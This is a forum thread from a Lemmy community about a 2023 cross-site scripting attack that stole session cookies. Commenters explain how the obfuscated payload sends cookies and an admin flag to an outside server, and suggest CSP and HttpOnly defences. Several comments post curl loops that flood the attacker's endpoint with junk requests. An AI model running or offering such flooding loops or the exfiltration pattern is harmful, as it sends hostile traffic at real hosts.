this post was submitted on 10 Jul 2023

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What are these comments on lemmy posts? (lemmy.sdf.org)

submitted 1 year ago by [email protected] to c/[email protected]

85 comments fedilink hide all child comments

Are they just an issue with wefwef or trying to use an exploit

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[–] [email protected] 97 points 1 year ago (6 children)

Lemmy.world instance under attack right now. It was previously redirecting to 🍋 🎉 and the title and side bar changed to antisemitic trash.

They supposedly attributed it to a hacked admin account and was corrected. But the instance is still showing as defaced and now the page just shows it was “seized by reddit”.

Seems like there is much more going on right now and the attackers have much more than a single admin account.

[–] [email protected] 41 points 1 year ago (2 children)

I just want to add a quick note:

From OPs screenshot, I noticed the JS code is attempting to extract the session cookie from the users that click on the link. If it’s successful, it attempts to exfiltrate to some server otherwise sends an empty value.

You can see the attacker/spammer obscures the url of the server using JS api as well.

May be how lemmy.world attackers have had access for a lengthy period of time. Attackers have been hijacking sessions of admins. The one compromised user opened up the flood gates.

Not a sec engineer, so maybe someone else can chime in.

[–] [email protected] 34 points 1 year ago (3 children)

Here's a quick bash script if anyone wants to help flood the attackers with garbage data to hopefully slow them down: while true; do curl https://zelensky.zip/save/$(echo $(hostname) $(date) | shasum | sed 's/.\{3\}$//' | base64); sleep 1; done

Once every second, it grabs your computer name and the current system time, hashes them together to get a completely random string, trims off the shasum control characters and base64 encodes it to make everything look similar to what the attackers would be expecting, and sends it as a request to the same endpoint that their xss attack uses. It'll run on Linux and macOS (and windows if you have a WSL vm set up!) and uses next to nothing in terms of system resources.

[–] [email protected] 12 points 1 year ago (1 children)

Try

while true; do curl https://zelensky.zip/save/$(echo $(hostname) $(date) | shasum | sed 's/.\{3\}$//' | base64) > /dev/null ; sleep 1; done

It'll prevent you from having to see the drivel that curl returns from that site.

[–] [email protected] 8 points 1 year ago (1 children)

Oh weird, it wasn't returning anything a few minutes ago. I wonder if we pissed then off lol

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[–] [email protected] 7 points 1 year ago (1 children)

Why would you include your hostname in the hash? That just sounds like an invitations for a mistake to leak semi-private telemetry data.

Come to think of it.... Isn't obscured telemetry exactly what your suggestion is doing? If they get or guess your hostname by other means, then they have a nice timestamped request from you, signed with your hostname, every second

[–] [email protected] 13 points 1 year ago

It's essentially to add a unique salt to each machine that's doing this, otherwise they'd all be generating the same hash from identical timestamps. Afaik, sha hashes are still considered secure; and it's very unlikely they'd even try to crack one. But even if they did try and were successful, there isn't really anything nefarious they can do with your machines local name.

[–] [email protected] 4 points 1 year ago* (last edited 1 year ago)

Here's the one where it uses epoch time (better randomization) and also hides the output of curl

while true; do curl https://zelensky.zip/save/$(echo $(hostname) $(date +%s) | shasum | sed 's/.\{3\}$//' | base64) &> /dev/null ; echo "done."; done

[–] [email protected] 18 points 1 year ago

You seem to be correct. Some sort of drive by login token scraper. Changing your password won’t help, because they still have an authorized copy of your login token. And I don’t think Lemmy has any sort of “Log out of all devices” button, (which deauthorizes all of the account’s login tokens) so there’s not much that a compromised account holder can do to stop it once the hacker has that token.

It’s the same thing that got Linus Tech Tips a few weeks back. Their entire YouTube account got hacked and turned into a fake “buy into our crypto and Elon Musk will give you a bunch of money” scam a few weeks back. And Linus quickly discovered that changing their passwords didn’t help, because the hackers were able to simply continue using the token they already had.

This was likely going on for a while, and only recently got activated because they finally snagged an admin account. Shit like this can lurk for a long time, simply waiting for the right target to stumble into it. They don’t really care about the individual accounts, except for helping spread the hack farther. But once they grabbed that admin account, they had what they wanted.

[–] [email protected] 21 points 1 year ago (1 children)

Lemon party... Truly the fediverse is bringing us back to the golden age of the internet.

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[–] [email protected] 17 points 1 year ago

Another instance was hacked too: https://lemmy.blahaj.zone/

[–] [email protected] 7 points 1 year ago (1 children)

Must be some boomer if they know what lemon party is, lmao. It's been a hot minute since lemon party, one man one jar, or two girls one cup were being talked about.

[–] [email protected] 14 points 1 year ago (1 children)

Linking to lemonparty and saying "seized by reddit" strikes me as the playbook of an old 4chan troll/raid, trying to instigate more drama between two places they both hate at once.

[–] [email protected] 6 points 1 year ago

Resetting federation to threads.net is even stronger proof that this was done by a 'holds sporks so randum' type of script kiddies.

[–] [email protected] 5 points 1 year ago

I can't log into my account on lemmy.world, but I guess this is what they mean by federation and different instances continuing to work.

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[–] [email protected] 96 points 1 year ago* (last edited 1 year ago) (4 children)

Hey, I can tell you want it does. While I don't know if they try to download something too (while it really doesn't look like it), they are trying to steal your browser cookies.

I haven't removed the obfuscation yet as I am literally in bed but I can tell the general idea of the code.

Onload is a html attribute. Html attribute tell your browser more about what the browser should be doing. So basically onload is an instruction to your browser. By posting those comments, they try to run something called cross site scripting. Basically they want to run their code in your browser without them being the website owner. So now we know the intend of the post, let's look into the details.

Onload is an attribute that tells the browser to do something once it is fully loaded.

Fetch is a function that allows your browser to request additional information from the server. Endless scrolling would be done with that.

String.fromcharcode is just there to hide a little bit. Think of it as a fancy way to say a word. they are saying a website to connect to there.

Then document.cookie are your cookies for that website.

The next thing is probably your username or something.

So what does that mean? They try to make your browser execute their code when the website is onloaded. The code sends your cookies and your username(?) To a server. They probably save the username and cookie and try to steal the account later.

You seeing the code is good evidence that your browser hasn't execute the code as the browser didn't understand it as code to be executed but code to display. So you are probably safe and don't need to worry

Edit: ups sorry for not answering the question. I don't know which client they are targeting. They might or might not be targeting wefwef. But they target you, the user, too. And it is probably for Webbrowser users, so chances are wefwef or other web clients.

Edit edit: some people pointed out that it is not the username but basically the admin status of the account.

[–] [email protected] 44 points 1 year ago* (last edited 1 year ago) (3 children)

Looks like it's issuing a GET to https://zelensky.zip/save/{ENCODED_JWT_TOKEN_AND_NAV_FLAG}. The ENCODED_JWT_TOKEN is from btoa(document.cookie+nav_flag) where nav_flag is essentially 'navAdmin' if the account hit is an admin or '' if the user hit is not an admin (it checks if the admin button in the nav exists). Their server is likely logging all incoming requests and they just need to do a quick decoding to get jwt tokens and a flag telling them if it's an admin account.

I'd be hesitant to visit Lemmy on a browser atm 😓

[–] [email protected] 40 points 1 year ago (3 children)

Sure enough, the .zip TLD is just being used for malicious activity

[–] [email protected] 19 points 1 year ago

Google Domains, creating new ways to exploit users right before being sold off to Squarespace.

[–] [email protected] 15 points 1 year ago

Lemmy.zip is cool!

[–] [email protected] 4 points 1 year ago

Good to know, will look into adding it to the kill-it lists out there. Generally more inclined to rely on dynamic naughty lists but sometimes you just need to cut off the limb if it's 90% rotten.

[–] [email protected] 7 points 1 year ago

Can we just hit that domain with junk data and crash their shit?

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[–] [email protected] 18 points 1 year ago (4 children)

Doesn't Lemmy use HttpOnly cookies? This would fix any js based exploit.

[–] [email protected] 14 points 1 year ago (1 children)

Also, strict CSP would prevent it entirely.

[–] [email protected] 4 points 1 year ago (1 children)

out of curiosity, what CSP options would fix this?

[–] [email protected] 13 points 1 year ago

To prevent execution of scripts not referenced with the correct nonce:

script-src 'self' 'nonce-$RANDOM'

To make it super strict, this set could be used:

default-src 'self';
script-src 'nonce-$RANDOM'
object-src 'none';
base-uri 'none';
form-action 'none';
frame-ancestors 'none';
frame-src 'none';
require-trusted-types-for 'script'

Especially the last one might cause the most work, because the "modern web development environment" simply cannot provide this. Also: form-action 'none'; should be validated. It should be set to self if forms are actually used to send data to the server and not handled by Javascript.

The MDN has a good overview: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy

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[–] [email protected] 9 points 1 year ago (1 children)

so does this run automatically ? without the user doing anything ?

[–] [email protected] 10 points 1 year ago

If it would work, which it seems like it doesn't. Yes, it is intended to be automatical.

[–] [email protected] 7 points 1 year ago (1 children)

The encoded strings are https://zelensky(dot)zip/save/ and navAdmin

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[–] [email protected] 51 points 1 year ago

if it has document.cookie in it - it is trying to steal your cookies, to use your account. that's a JavaScript link that, well, sends your account cookies to a random ass site.

[–] [email protected] 44 points 1 year ago (1 children)

A few minutes ago Ruud posted that there was a hack, i wonder if it has something to do with that?

https://lemmy.world/post/1290412

[–] [email protected] 34 points 1 year ago

Yes, these comments are JavaScript code, intended to run in the browser of anyone viewing them. Best to stay clear of the webapp for now (native mobile apps should not be vulnerable).

[–] [email protected] 35 points 1 year ago (2 children)

idk for sure but people are saying lemmy.world got hacked maybe it has to do with that?

[–] [email protected] 22 points 1 year ago (1 children)

Definitely seems to be trying to exploit the same thing

[–] [email protected] 8 points 1 year ago* (last edited 1 year ago)

yeah after reading more of the post I linked it definitely looks like it

[–] [email protected] 9 points 1 year ago

source https://lemmy.ml/post/1895271

[–] [email protected] 20 points 1 year ago (3 children)

The encoded string contains the URL zelensky dot zip. Zip is one of the newer top-level domains. It itself is not a zip file, but I am not going to visit that site to find out whatever treasures it has to offer..

[–] [email protected] 8 points 1 year ago (8 children)

Another reason to block this TLD in the firewall solution.

[–] [email protected] 6 points 1 year ago (4 children)

Yea I've got both .zip and .mov blocked on my pihole

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[–] [email protected] 6 points 1 year ago

Curl didn't return anything. They're likely just using it to log requests since the request path contains the data they need.

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[–] [email protected] 15 points 1 year ago

Spez's Revenge

[–] [email protected] 10 points 1 year ago (1 children)

Clicking on it would run javascript on load (most browsers block it by default), but I would avoid clicking either way.

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[–] [email protected] 5 points 1 year ago (1 children)

Hey, has this been fixed? I'm nervous about using Lemmy on my work computer now.

[–] [email protected] 5 points 1 year ago* (last edited 1 year ago) (2 children)

Instances running 18.2 should be fine, and as far as I understand it (with no dev qualifications to speak of, fwiw), these exploits only affected the local instance - they weren't permeating through other instances viewing the exploits through Activitypub. That's all to say, as long as your instance is running 18.2 or higher (the 18.2-rc's should have in progress patches, as well), I believe you should be fine.

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